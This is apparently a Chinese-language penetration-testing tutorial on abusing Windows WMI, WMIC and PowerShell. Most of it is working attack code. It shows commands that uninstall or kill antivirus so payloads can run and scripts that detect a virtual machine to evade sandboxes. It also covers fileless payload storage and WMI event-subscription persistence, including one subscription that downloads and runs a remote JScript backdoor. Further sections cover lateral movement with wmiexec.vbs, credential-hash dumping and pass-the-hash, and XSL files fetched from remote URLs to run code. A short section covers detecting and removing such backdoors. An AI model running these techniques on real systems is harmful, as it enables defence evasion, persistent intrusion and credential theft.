WMI

WMI可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。

检索系统信息

检索系统已安装的软件
1
wmic product list brief |more

wmic_1

搜索系统运行服务
1
wmic service list brief |more

wmic_1

搜索运行中的程序
1
wmic process list brief |more

wmic_3

搜索启动程序
1
wmic startup list brief |more

wmic_4

搜索共享驱动盘
1
wmic netuser list brief |more
搜索用户名
1
wmic useraccount list brief |more

wmic_5

搜索计算机域控制器
1
wmic ntdomain list brief

wmic_6

搜索登录用户
1
wmic logon list brief |more

wmic_7

搜索已安装的安全更新
1
wmic qfe list brief |more

wmic_8

执行任务

WMIC不仅仅只是用于检索系统信息。在渗透测试中, 使用适当的命令,它也可以执行各种有用的任务。

卸载和重新安装程序

在渗透测试中, 我们经常遇到反病毒程序阻止payload运行。 这时候我们可以通过WMIC命令来卸载反病毒程序。

1
2
wmic product where "name like '%Office%'" get name
wmic product where name="Office" call uninstall

wmic_9

运行程序管理

上面我们提到卸载反病毒程序来运行payload。 但是有时候我们没有足够的权限去卸载程序。 这时我们可以通过WMIC命令来停止运行反病毒服务。

  1. 第一步, 找到反病毒程序

    1
    wmic process where "name like '%forti%'" get name
  1. 第二步, 通过WMIC命令来停止运行反病毒服务
1
wmic process where name="FortiTray.exe" call terminate

Powershell

自从PowerShell的出现,WMI功能已经被完全整合到了PowerShell里面。在PowerShell中, WMI拥有多个类型的种类,每个种类都代表一个内部组件:Win32_proces代表当前系统所运行程序。 Win32_Service代表当前系统所运行服务等等。

侦查

操作系统相关信息
1
2
3
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS

wmic_10

文件/目录列表
1
Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile
磁盘卷列表
1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume

wmic_12

注册表操作
1
2
3
Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv
Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty OptionalComponents
当前进程
1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process

wmic_14

列举服务
1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service

wmic_15

日志
1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent
登陆账户
1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser

wmic_15

共享
1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share

wmic_17

补丁
1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering
杀毒软件
1
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct

虚拟机检测

(1)判断TotalPhysicalMemory和NumberOfLogicalProcessors

1
2
3
4
5
6
7
8
9
10
11
12
$VMDetected = $False
$Arguments = @{
Class = 'Win32_ComputerSystem'
Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
}
if (Get-WmiObject @Arguments) {
$VMDetected = $True
"In vm"
}
else{
"Not in vm"
}

(2)判断虚拟机进程

1
2
3
4
5
6
7
8
9
10
11
12
13
$VMwareDetected = $False
$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE
"%VMware%" OR Name LIKE "%VMware%"'
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'
if ($VMAdapter -or $VMBios -or $VMToolsRunning)
{ $VMwareDetected = $True
"in vm"
}
else
{
"not in vm"
}

存储payload

【管理员权限】

1
2
3
4
5
6
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,
$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty' , "This is payload")
$StaticClass.Put()

wmic_18

Tips:

1
可加密存储于此位置,执行时解密运行,达到硬盘不存文件的效果

隐蔽定时启动程序

【管理员权限】

1
2
3
4
5
6
7
8
9
10
$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\notepad.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=
$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=
$WMIEventFilter;Consumer=$WMIEventConsumer}

wmic_19

查看进程:

1553239184506

每60s执行一次notepad.exe

远程下载js脚本

通过远程下载js脚本,进行命令调用

1
2
3
4
5
6
7
8
#!powershell
$filterName = 'filtP1'
$consumerName = 'consP1'
$Command ="GetObject(""script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test"")"
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ScriptingEngine='JScript';ScriptText=$Command}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

wmic_22

WMI后门检测及清除

查看当前WMI Event

【管理员权限】

1
2
3
4
5
6
7
8
#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

wmic_21

清除后门

【管理员权限】

1
2
3
4
5
6
7
8
#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose

#Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose

#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%

wmic_19

wmiexec.vbs

WMIEXEC是用VBS脚本调用WMI来模拟psexec的功能

wmic_23

WMIEXEC支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。
WMIEXEC需要提供账号密码进行远程连接,但是如果没有破解出账号密码,也可以配合WCE的hash注入功能一起使用,先进行hash注入,然后再使用WMIEXEC即可。

半交互shell模式

提供账号密码,执行如下命令:

1
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password

wmic_24

这样就获得了一个半交互式的shell,这个shell和psexec的shell没什么区别。之所以称为半交互式,是因为这个shell也不能执行实时交互的命令,和psexec是一样的。

如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。

利用wce抓取hash:

1
wce -l

wmic_25

利用wce进行hash注入:

1
wce -s Administrator:WIN-2003:F67CE55AC831223DC187B8085FE1D9DF:45A524862326CB9E7D85AF4017A000F0

wmic_26

单个命令执行的模式

这个模式适用于只需要执行一个命令,或者说当前的环境不是交互式shell,没法运行WMIEXEC的shell模式时(比如在webshell里面)。

1
cscript.exe  wmiexec.vbs /cmd 192.168.1.1 username password  "command"

wmic_27

wmic调用xsl文件

本地:

1
wmic process list /FORMAT:evil.xsl

远程:

1
wmic os get /FORMAT:"https://example.com/evil.xsl"

xsl文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
1
wmic os get /format:"https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xsl"

执行成功,成功弹出计算器,如下图

wmic_28